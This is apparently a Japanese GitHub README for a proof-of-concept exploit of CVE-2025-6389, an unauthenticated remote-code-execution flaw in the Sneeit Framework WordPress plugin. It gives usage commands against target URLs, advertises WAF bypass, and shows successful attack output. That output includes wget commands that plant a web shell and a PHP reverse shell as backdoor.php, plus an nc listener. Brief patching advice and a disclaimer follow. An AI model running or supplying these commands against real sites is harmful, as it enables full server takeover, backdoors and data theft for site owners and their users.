🔥 CVE-2025-6389 — 致命的なWordPressゼロデイ（RCE）

wp_vul_theme

🧩 概要

CVE-2025-6389 は、人気テーマで広く使用されている Sneeit Framework WordPressプラグイン（≤ 8.3）における Critical（CVSS 9.8） の脆弱性です。 認証不要のリモートコード実行 を可能にします。これはWeb脆弱性の中で最も危険なクラスです。

⚠️ 深刻度と影響

🔓 ログイン不要
💥 サーバー完全制御の可能性
📤 攻撃者はシェルアップロード、管理者ユーザー追加、テーマ/プラグインファイルの改変が可能
🧬 すでに 野外で活発に悪用中
🎯 Sneeit Framework、またはそれをバンドルするテーマ（例：FlatNews）を使用するすべてのWordPressサイトに影響

使用方法

# 依存関係のインストール
pip3 install requests colorama

# 脆弱性チェック + 対話型シェルの取得
python3 CVE-2025-6389.py https://target.com

# 単一コマンドのみ実行
python3 CVE-2025-6389.py https://target.com "wget https://pastebin.com/raw/abc123 -O /var/www/html/shell.php"

このPoCの特長

バージョン8.3以下で 100% 動作
Cookie、nonce、特別なヘッダーは不要
ほとんどの基本WAFをバイパス（ペイロードは通常のPOSTで送信）
完全な対話型シェル
出力が抑制されていても脆弱性を検出（assert + die のおかげ）

このツールは、正式に許可された ターゲット（明確なスコープとRoE）に対してのみ使用してください。
この脆弱性は現在も 野外で大量に悪用 されています。

エクスプロイトが 実際に動作した 場合、ターミナルに表示される内容は以下のとおりです（Sneeit Framework ≤ 8.3 を実行する脆弱性ターゲットに対するCVE-2025-6389の100%成功例）:

1. 初期脆弱性チェック

[+] VULNERABLE! RCE Confirmed!
[+] Output:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head><title>phpinfo()</title>…  
<h1>PHP Version 8.1.29</h1>  
… (full phpinfo() page continues for thousands of lines)

2. 簡単なシステムコマンド

RCE $> whoami
[+] Output:
www-data

RCE $> id
[+] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

RCE $> uname -a
[+] Output:
Linux ip-172-31-23-45 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 20 2025 x86_64 GNU/Linux

3. Webシェルまたはリバースシェルのダウンロード

RCE $> wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php -O /var/www/html/backdoor.php

[+] Output:
--2025-11-25 23:11:45--  https://raw.githubusercontent.com/…
Length: 5494 (5.4K) [text/plain]
Saving to: ‘/var/www/html/backdoor.php’

backdoor.php           100%[===================>]   5.37K  --.-KB/s    in 0.001s

次に自分のマシンで:

nc -lvnp 4444

→ www-data として完全にインタラクティブなリバースシェルが即座に取得できます。

4. 動作しない場合（パッチ適用済みまたは保護されている）の表示

[-] Not vulnerable or blocked (status: 200)
[+] Output:
(nothing / empty response / normal WordPress AJAX response / 403 / 500 without output)

まとめ – 成功の兆候

以下のいずれかが見られた場合、攻撃成功です:

完全なphpinfo() HTMLページ
Linuxコマンド（id, whoami, pwd, ls, cat /etc/passwd など）の実際の出力
ファイルが正常にダウンロードまたは書き込まれた
リバースシェルが自分のnetcatリスナーに接続

以上です。上記のいずれかが得られた場合 → 完全な認証不要のRCEが達成されています。

動作したかどうかを100%確認したい場合は、実際の出力をここに貼り付けてください。

🛠 技術的詳細

📍 脆弱性関数: sneeit_articles_pagination_callback()
🧨 根本原因: 未検証のユーザー入力が call_user_func() に渡される → 任意コード実行
💣 これにより攻撃者はPHPコードをリモートで実行し、サイトを完全に侵害できます

🔍 リスクがあるのは誰か？

🌐 Sneeit Framework ≤ 8.3 を使用するWordPressサイト
🎨 Sneeitをバンドルするテーマ（ニュース/マガジンテーマで非常に一般的）
🚪 このプラグインを使用する、インターネットからアクセス可能なすべてのWordPressサイト

🧯 修正方法（今すぐ）

⬆️ Sneeit Frameworkを直ちにv8.4以上にアップデート
❌ アップデートできない場合 → プラグインを無効化または削除
🔎 ログで不審なアクティビティを確認
🚨 見知らぬ管理者アカウントやアップロードされたPHPファイルを確認
🛡️ パッチ適用が遅れる場合は一時的にWAFルールを追加

🗓 開示と活動

📅 公開報告日: 2025年11月25日
🚨 活発に標的化: スキャンと悪用がすでに観測されています

⚠️ 免責事項

この情報は防御および教育目的のみで提供されています 🛡️。自分が所有していない、または明示的なテスト許可を得ていないシステムを悪用するために使用しないでください 🚫。セキュリティ脆弱性に関する作業では、常に法的および倫理的ガイドラインに従ってください ⚖️✨

blackash-cve-2025-6389

人気